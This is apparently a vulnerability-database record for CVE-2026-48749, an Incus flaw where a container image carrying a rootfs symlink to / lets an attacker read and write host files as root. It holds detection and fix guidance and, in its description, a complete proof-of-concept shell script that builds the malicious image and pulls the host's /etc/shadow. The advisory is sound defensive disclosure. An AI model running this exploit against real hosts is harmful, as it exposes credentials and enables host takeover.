{"id":"CVE-2026-48749","kind":"vulnerability","aliases":["CVE-2026-48749","GHSA-2q3f-q5pq-g8wv"],"related":[],"title":"Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image","description":"### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -> /\n```\n\nIn practice, this allows a malicious actor to access the host's filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf 'afrw-rootfs-symlink\\n' >\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.","summary":"A crafted Incus image with a duplicate top-level rootfs symlink pointing to / lets an attacker reach the host filesystem through the stopped-container file API. The attacker can read files such as /etc/shadow and create files on the host with root privileges, possibly leading to command execution.","severity":"critical","cvss":9.9,"epss":0.00731,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/lxc/incus/v7/cmd/incusd","fixed":["7.2.0"],"affected":"< 7.2.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["containers","cwe-73","incus","infrastructure","linux","self-hosted"],"not_affected_if":["fixed-version","trusted-images-only"],"how_to_check":"- Run `incus version` and compare against the fixed version.\n- Check whether untrusted or third-party images are imported into the Incus server with `incus image list`.","fix":"- Incus (go:github.com/lxc/incus/v7/cmd/incusd): upgrade to `7.2.0` or later.","status":"open","published_at":"2026-06-26T18:31:21+00:00","first_seen_at":"2026-11-05T23:23:37+00:00","triaged_at":"2026-11-05T23:24:40+00:00","updated_at":"2026-11-05T23:24:40+00:00","category":"infrastructure","confidence":0.8,"triage":{"at":"2026-11-05T23:24:40Z","model":"claude-haiku-5-5","output":{"fix":"- Incus (go:github.com/lxc/incus/v7/cmd/incusd): upgrade to `7.2.0` or later.","reach":"local","title":"Incus: malicious container image reads and writes arbitrary host files","impact":"high","summary":"A crafted Incus image with a duplicate top-level rootfs symlink pointing to / lets an attacker reach the host filesystem through the stopped-container file API. The attacker can read files such as /etc/shadow and create files on the host with root privileges, possibly leading to command execution.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["incus","self-hosted","linux","containers"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker reads host secrets and writes host files as root","analyst_note":"Confirm the exact affected authentication requirement for importing images and whether command execution was demonstrated, using the GHSA advisory at https://github.com/advisories/GHSA-2q3f-q5pq-g8wv.","how_to_check":"- Run `incus version` and compare against the fixed version.\n- Check whether untrusted or third-party images are imported into the Incus server with `incus image list`.","plain_action":"","needs_analyst":true,"not_affected_if":["fixed-version","trusted-images-only"],"who_is_affected":"Hosts running incusd below 7.2.0 that import container images, especially images from untrusted sources. The flaw is reached when an image is imported and a container is created and then accessed through the file API. Teams that only use trusted, self-built images are at lower risk but should still upgrade.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.000804,"input_tokens":5064,"output_tokens":595,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':17A,25A '-48749':18A,26A '-73':32B '/afrw-rootfs-symlink':319C,324C '/afrw-rootfs-symlink.tar':260C,275C,281C '/bin/sh':212C '/etc/shadow':74B,205C,305C '/img':252C '/img/metadata.yaml':235C '/img/rootfs':232C '/lxc/incus/v7/cmd/incusd':29A '/shadow':307C,310C '0':255C,257C,271C,273C '1':241C '2q3f':21A '64':238C 'access':173C 'actor':171C 'afrw':248C,284C,290C,294C,302C,314C,326C 'afrw-rootfs-symlink':283C,289C,293C,301C,313C,325C 'alia':282C 'allow':168C 'anywher':198C 'api':66B,148C 'append':276C 'arbitrari':4A,101C,109C,330C 'architectur':236C 'attack':55B,68B 'c':259C 'cat':233C,308C 'cd':250C 'chroot':159C 'cleanup':218C,223C 'command':87B,110C,344C 'contain':30B,64B,146C,186C 'craft':40B,92C 'creat':76B,208C 'create/write':100C 'creation':239C 'cve':16A,24A 'cwe':31B 'd':217C 'd.rootfspath':150C 'date':240C 'descript':243C 'descriptor':155C 'detail':112C 'duplic':45B,136C 'entri':128C 'eof':249C 'eu':214C 'execut':88B,111C,345C 'exit':224C 'extract':131C 'f':258C,274C 'file':5A,65B,71B,77B,102C,147C,154C,206C,210C,299C,321C,331C 'filesystem':59B,177C 'forkfil':157C 'full':130C 'g8wv':23A 'ghsa':20A 'ghsa-2q3f-q5pq-g8wv':19A 'github.com':28A 'github.com/lxc/incus/v7/cmd/incusd':27A 'group':256C,272C 'host':9A,38B,58B,80B,105C,175C,192C,203C,247C,337C 'hup':228C 'imag':15A,42B,93C,116C,279C 'impact':329C 'import':280C 'incus':1A,33B,41B,113C,278C,287C,298C,320C 'infrastructur':34B 'init':288C 'inject':261C 'int':225C 'later':133C,142C 'lead':85B,107C,342C 'let':53B 'level':48B,139C 'linux':35B 'ln':266C 'malici':14A,170C 'map':184C,197C 'metadata.yaml':124C,162C 'mkdir':229C 'mktemp':216C 'n':317C 'normal':123C 'open':149C 'owner':254C,270C 'p':230C 'pass':152C 'poc':181C,244C 'point':51B 'possibl':84B,106C,341C 'practic':166C 'printf':312C 'privileg':83B,180C 'process':134C 'properti':242C 'pull':300C 'push':322C 'q5pq':22A 'quit':226C 'reach':56B 'read':6A,70B,98C,297C,332C 'retriev':201C 'rf':220C 'rm':219C 'rmdir':264C 'root':82B,179C 'rootf':11A,49B,127C,140C,163C,164C,188C,245C,262C,265C,268C,277C,285C,291C,295C,303C,315C,327C 'see':121C 'self':37B 'self-host':36B 'set':213C 'soon':118C 'special':91C 'stop':63B,145C 'stopped-contain':62B,144C 'summari':89C 'symlink':12A,50B,141C,246C,263C,286C,292C,296C,304C,316C,328C,340C 'tar':253C,269C 'term':227C 'tmpdir':215C,221C,231C,234C,251C,306C,309C,318C,323C 'top':47B,138C 'top-level':46B,137C 'trap':222C 'unsanit':339C 'use':96C 'valid':114C 'via':10A,338C 'write':7A,311C,334C 'x86':237C","nicknames":[],"mitigations":[],"who_affected":"Hosts running incusd below 7.2.0 that import container images, especially images from untrusted sources. The flaw is reached when an image is imported and a container is created and then accessed through the file API. Teams that only use trusted, self-built images are at lower risk but should still upgrade.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomlxcincusv7cmdincusd"],"ptokens":["cmd","com","github","incus","incusd","lxc","v7"],"labels":["containers","critical","cwe73","go","incus","infrastructure","linux","selfhosted"],"campaign_type":null,"first_public_at":"2026-06-25T22:01:56+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-2q3f-q5pq-g8wv","url":"https://github.com/advisories/GHSA-2q3f-q5pq-g8wv","severity":"critical","published_at":"2026-06-26T18:31:21+00:00","modified_at":"2026-11-05T23:19:21+00:00","first_seen_at":"2026-11-05T23:23:37+00:00","fetched_at":"2026-11-05T23:38:50+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-48749","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48749","severity":null,"published_at":"2026-08-21T15:16:40+00:00","modified_at":"2026-10-15T19:10:00+00:00","first_seen_at":"2026-11-05T23:48:40+00:00","fetched_at":"2026-11-05T23:48:40+00:00","note":null}],"documents":[{"id":81448,"url":"https://api.github.com/repos/lxc/incus/security-advisories/GHSA-2q3f-q5pq-g8wv","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":81449,"url":"https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-25T22:01:56+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"exploit_sources":[{"type":"epss","score":0.00731,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48749"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}